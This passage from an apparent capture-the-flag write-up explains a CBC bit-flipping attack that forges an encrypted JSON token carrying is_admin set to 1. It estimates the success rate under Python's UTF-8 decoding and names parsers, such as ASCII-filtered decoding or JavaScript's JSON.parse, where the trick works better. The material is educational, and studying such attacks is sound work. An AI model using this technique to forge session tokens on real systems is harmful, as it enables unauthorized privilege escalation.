AAAAAAAAAAAAAAAA (Block 4)
AAAAAAAAAAAAAAAA (Block 5)
<16-bytegarbage> (Block 6)
<16-bytegarbage> (Block 7)
","is_admin":1}  (Block 8)

Modify Block 3 so that Block 5 looks like the following:(the content between username and is_admin is a key-value pair now)

0123456789abcdef (Block 1)
{"username":""," (Block 2)
<16-bytegarbage> (Block 3)
<16-bytegarbage> (Block 4)
AAAAAAA":"AAAAAA (Block 5)
<16-bytegarbage> (Block 6)
<16-bytegarbage> (Block 7)
","is_admin":1}  (Block 8)

However, we can see that there are 64 bytes of garbage. Since Python uses UTF-8 codec as the encoding, UnicodeDecodeError will be thrown if the byte sequence does not make valid UTF-8 characters.

Therefore, we have 64 bytes of garbage, where control characters are invalid, values greater than 127 are only valid if it follows the UTF-8 codec. So approximately the successful rate is about

$(\frac{3}{8}{)}^{64}\approx 5\times {10}^{-28}$, which is basically impossible.

Note: possible scenarios where this can be used is when Python is configured to filter out non-ascii characters, or other programming languages are used to parse the JSON content.

Example: FNES 2.5 from BCACTF

unpad(cipher.decrypt(ct), 16).decode("ascii", errors='ignore')

Non-ascii characters are preremoved, so there are much higher rate to success.

Also, JavaScript's JSON.parse() methods also accepts and processes bytes with code value greater than 127.